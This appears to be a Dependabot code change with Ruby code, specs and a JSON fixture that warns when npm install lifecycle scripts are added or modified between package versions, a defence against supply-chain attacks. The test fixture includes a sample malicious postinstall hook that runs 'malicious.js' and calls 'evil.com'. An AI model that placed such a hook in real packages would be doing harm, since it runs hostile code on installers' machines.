npm: Warn when install scripts change between versions

npm lifecycle scripts (preinstall, install, postinstall, prepare) run
automatically during package installation. This is a known attack vector
for supply chain compromises.

Dependabot already warns when the npm maintainer changes. This adds a
similar warning when install scripts are added or modified between the
previous and target versions.

The warning appears in a collapsible 'Install script changes' section
in PR descriptions, with a link to review the package contents on npm.

Author: JamieMagee

common/lib/dependabot/metadata_finders/base.rb

@@ -162,6 +162,11 @@ def maintainer_changes
         nil
       end
 
+      sig { overridable.returns(T.nilable(String)) }
+      def install_script_changes
+        nil
+      end
+
       private
 
       sig { overridable.returns(T.nilable(String)) }

common/lib/dependabot/pull_request_creator/message_builder/metadata_presenter.rb

@@ -31,6 +31,7 @@ class MetadataPresenter
                        :changelog_text,
                        :commits_url,
                        :commits,
+                       :install_script_changes,
                        :maintainer_changes,
                        :releases_url,
                        :releases_text,
@@ -71,6 +72,7 @@ def to_s
           msg += upgrade_guide_cascade
           msg += commits_cascade
           msg += maintainer_changes_cascade
+          msg += install_script_changes_cascade
           msg += break_tag unless msg == ""
           "\n" + sanitize_links_and_mentions(msg, unsafe: true)
         end
@@ -181,6 +183,16 @@ def maintainer_changes_cascade
           )
         end
 
+        sig { returns(String) }
+        def install_script_changes_cascade
+          return "" unless install_script_changes
+
+          build_details_tag(
+            summary: "Install script changes",
+            body: sanitize_links_and_mentions(install_script_changes) + "\n"
+          )
+        end
+
         sig { params(summary: String, body: String).returns(String) }
         def build_details_tag(summary:, body:)
           # Bitbucket does not support <details> tag (https://jira.atlassian.com/browse/BCLOUD-20231)

common/spec/dependabot/pull_request_creator/message_builder/metadata_presenter_spec.rb

@@ -40,6 +40,7 @@
       changelog_text: "",
       commits_url: "http://localhost/commits",
       commits: [],
+      install_script_changes: "",
       maintainer_changes: "",
       releases_url: "http://localhost/releases",
       releases_text: "",
@@ -84,5 +85,18 @@
         end
       end
     end
+
+    context "with install script changes" do
+      before do
+        allow(metadata_finder)
+          .to receive(:install_script_changes)
+          .and_return("This version adds `postinstall` script that runs during installation.")
+      end
+
+      it "includes install script changes section" do
+        expect(presenter.to_s).to include("Install script changes")
+        expect(presenter.to_s).to include("postinstall")
+      end
+    end
   end
 end

npm_and_yarn/lib/dependabot/npm_and_yarn/metadata_finder.rb

@@ -16,6 +16,14 @@ module NpmAndYarn
     class MetadataFinder < Dependabot::MetadataFinders::Base
       extend T::Sig
 
+      # Lifecycle scripts that run automatically during package installation.
+      # These are security-relevant because they execute with user privileges.
+      # https://docs.npmjs.com/cli/v11/using-npm/scripts#npm-install
+      INSTALL_SCRIPTS = T.let(
+        %w(preinstall install postinstall prepublish preprepare prepare postprepare).freeze,
+        T::Array[String]
+      )
+
       sig { override.returns(T.nilable(String)) }
       def homepage_url
         # Attempt to use version_listing first, as fetching the entire listing
@@ -37,8 +45,53 @@ def maintainer_changes
           "releaser for #{dependency.name} since your current version."
       end
 
+      sig { override.returns(T.nilable(String)) }
+      def install_script_changes
+        return unless dependency.previous_version
+
+        previous_scripts = install_scripts_for_version(dependency.previous_version)
+        current_scripts = install_scripts_for_version(dependency.version)
+
+        return if previous_scripts == current_scripts
+
+        added = current_scripts.keys - previous_scripts.keys
+        modified = (current_scripts.keys & previous_scripts.keys).reject do |script|
+          current_scripts[script] == previous_scripts[script]
+        end
+
+        changes = []
+        changes << format_script_list("adds", added) if added.any?
+        changes << format_script_list("modifies", modified) if modified.any?
+
+        return if changes.empty?
+
+        total_scripts = added.size + modified.size
+        verb = total_scripts == 1 ? "runs" : "run"
+
+        "This version #{changes.join(' and ')} that #{verb} during installation. " \
+          "Review the package contents before updating."
+      end
+
       private
 
+      sig { params(action: String, scripts: T::Array[String]).returns(String) }
+      def format_script_list(action, scripts)
+        script_names = scripts.map { |s| "`#{s}`" }.join(", ")
+        noun = scripts.size == 1 ? "script" : "scripts"
+        "#{action} #{script_names} #{noun}"
+      end
+
+      sig { params(version: T.nilable(String)).returns(T::Hash[String, String]) }
+      def install_scripts_for_version(version)
+        return {} unless version
+
+        version_data = all_version_listings.find { |v, _| v == version }&.last
+        return {} unless version_data
+
+        scripts = version_data["scripts"] || {}
+        scripts.slice(*INSTALL_SCRIPTS)
+      end
+
       sig { override.returns(T.nilable(Dependabot::Source)) }
       def look_up_source
         return find_source_from_registry if new_source.nil?

npm_and_yarn/spec/dependabot/npm_and_yarn/metadata_finder_spec.rb

@@ -528,6 +528,135 @@
     end
   end
 
+  describe "#install_script_changes" do
+    subject(:install_script_changes) { finder.install_script_changes }
+
+    let(:dependency_name) { "install-scripts-pkg" }
+    let(:npm_url) { "https://registry.npmjs.org/install-scripts-pkg" }
+    let(:npm_all_versions_response) do
+      fixture("npm_responses", "install_scripts.json")
+    end
+
+    before do
+      stub_request(:get, npm_url)
+        .to_return(status: 200, body: npm_all_versions_response)
+    end
+
+    context "when there is no previous version" do
+      let(:dependency) do
+        Dependabot::Dependency.new(
+          name: dependency_name,
+          version: "1.1.0",
+          requirements: [{
+            file: "package.json",
+            requirement: "^1.0",
+            groups: [],
+            source: nil
+          }],
+          package_manager: "npm_and_yarn"
+        )
+      end
+
+      it { is_expected.to be_nil }
+    end
+
+    context "when a preinstall script is added alongside existing postinstall" do
+      let(:dependency) do
+        Dependabot::Dependency.new(
+          name: dependency_name,
+          version: "1.3.0",
+          previous_version: "1.2.0",
+          requirements: [{
+            file: "package.json",
+            requirement: "^1.0",
+            groups: [],
+            source: nil
+          }],
+          package_manager: "npm_and_yarn"
+        )
+      end
+
+      it "returns a notification about the added script" do
+        expect(install_script_changes).to eq(
+          "This version adds `preinstall` script that runs during installation. " \
+          "Review the package contents before updating."
+        )
+      end
+    end
+
+    context "when a postinstall script is added" do
+      let(:dependency) do
+        Dependabot::Dependency.new(
+          name: dependency_name,
+          version: "1.1.0",
+          previous_version: "1.0.0",
+          requirements: [{
+            file: "package.json",
+            requirement: "^1.0",
+            groups: [],
+            source: nil
+          }],
+          package_manager: "npm_and_yarn"
+        )
+      end
+
+      it "returns a notification about the added script" do
+        expect(install_script_changes).to eq(
+          "This version adds `postinstall` script that runs during installation. " \
+          "Review the package contents before updating."
+        )
+      end
+    end
+
+    context "when a postinstall script is modified" do
+      let(:dependency) do
+        Dependabot::Dependency.new(
+          name: dependency_name,
+          version: "1.2.0",
+          previous_version: "1.1.0",
+          requirements: [{
+            file: "package.json",
+            requirement: "^1.0",
+            groups: [],
+            source: nil
+          }],
+          package_manager: "npm_and_yarn"
+        )
+      end
+
+      it "returns a notification about the modified script" do
+        expect(install_script_changes).to eq(
+          "This version modifies `postinstall` script that runs during installation. " \
+          "Review the package contents before updating."
+        )
+      end
+    end
+
+    context "when only non-install scripts change" do
+      let(:npm_all_versions_response) do
+        fixture("npm_responses", "etag.json")
+      end
+      let(:dependency_name) { "etag" }
+      let(:npm_url) { "https://registry.npmjs.org/etag" }
+      let(:dependency) do
+        Dependabot::Dependency.new(
+          name: dependency_name,
+          version: "1.7.0",
+          previous_version: "1.6.0",
+          requirements: [{
+            file: "package.json",
+            requirement: "^1.0",
+            groups: [],
+            source: nil
+          }],
+          package_manager: "npm_and_yarn"
+        )
+      end
+
+      it { is_expected.to be_nil }
+    end
+  end
+
   describe "#dependency_url" do
     subject(:dependency_url) { finder.send(:dependency_url) }
 

npm_and_yarn/spec/fixtures/npm_responses/install_scripts.json

@@ -0,0 +1,106 @@
+{
+  "_id": "install-scripts-pkg",
+  "name": "install-scripts-pkg",
+  "description": "Test package with install scripts",
+  "dist-tags": {
+    "latest": "1.3.0"
+  },
+  "time": {
+    "1.0.0": "2026-01-01T00:00:00.000Z",
+    "1.1.0": "2026-02-01T00:00:00.000Z",
+    "1.2.0": "2026-03-01T00:00:00.000Z",
+    "1.3.0": "2026-04-01T00:00:00.000Z",
+    "created": "2026-01-01T00:00:00.000Z",
+    "modified": "2026-04-01T00:00:00.000Z"
+  },
+  "versions": {
+    "1.0.0": {
+      "_id": "[email protected]",
+      "_npmUser": {
+        "email": "[email protected]",
+        "name": "maintainer"
+      },
+      "name": "install-scripts-pkg",
+      "version": "1.0.0",
+      "description": "Test package with install scripts",
+      "scripts": {
+        "test": "echo test"
+      },
+      "repository": {
+        "type": "git",
+        "url": "https://github.com/example/install-scripts-pkg"
+      },
+      "dist": {
+        "shasum": "abc123",
+        "tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.0.0.tgz"
+      }
+    },
+    "1.1.0": {
+      "_id": "[email protected]",
+      "_npmUser": {
+        "email": "[email protected]",
+        "name": "maintainer"
+      },
+      "name": "install-scripts-pkg",
+      "version": "1.1.0",
+      "description": "Test package with install scripts",
+      "scripts": {
+        "test": "echo test",
+        "postinstall": "node scripts/setup.js"
+      },
+      "repository": {
+        "type": "git",
+        "url": "https://github.com/example/install-scripts-pkg"
+      },
+      "dist": {
+        "shasum": "def456",
+        "tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.1.0.tgz"
+      }
+    },
+    "1.2.0": {
+      "_id": "[email protected]",
+      "_npmUser": {
+        "email": "[email protected]",
+        "name": "maintainer"
+      },
+      "name": "install-scripts-pkg",
+      "version": "1.2.0",
+      "description": "Test package with install scripts",
+      "scripts": {
+        "test": "echo test",
+        "postinstall": "node scripts/malicious.js && curl http://evil.com"
+      },
+      "repository": {
+        "type": "git",
+        "url": "https://github.com/example/install-scripts-pkg"
+      },
+      "dist": {
+        "shasum": "ghi789",
+        "tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.2.0.tgz"
+      }
+    },
+    "1.3.0": {
+      "_id": "[email protected]",
+      "_npmUser": {
+        "email": "[email protected]",
+        "name": "maintainer"
+      },
+      "name": "install-scripts-pkg",
+      "version": "1.3.0",
+      "description": "Test package with install scripts",
+      "scripts": {
+        "test": "echo test",
+        "postinstall": "node scripts/malicious.js && curl http://evil.com",
+        "preinstall": "echo preinstall"
+      },
+      "repository": {
+        "type": "git",
+        "url": "https://github.com/example/install-scripts-pkg"
+      },
+      "dist": {
+        "shasum": "jkl012",
+        "tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.3.0.tgz"
+      }
+    }
+  }
+}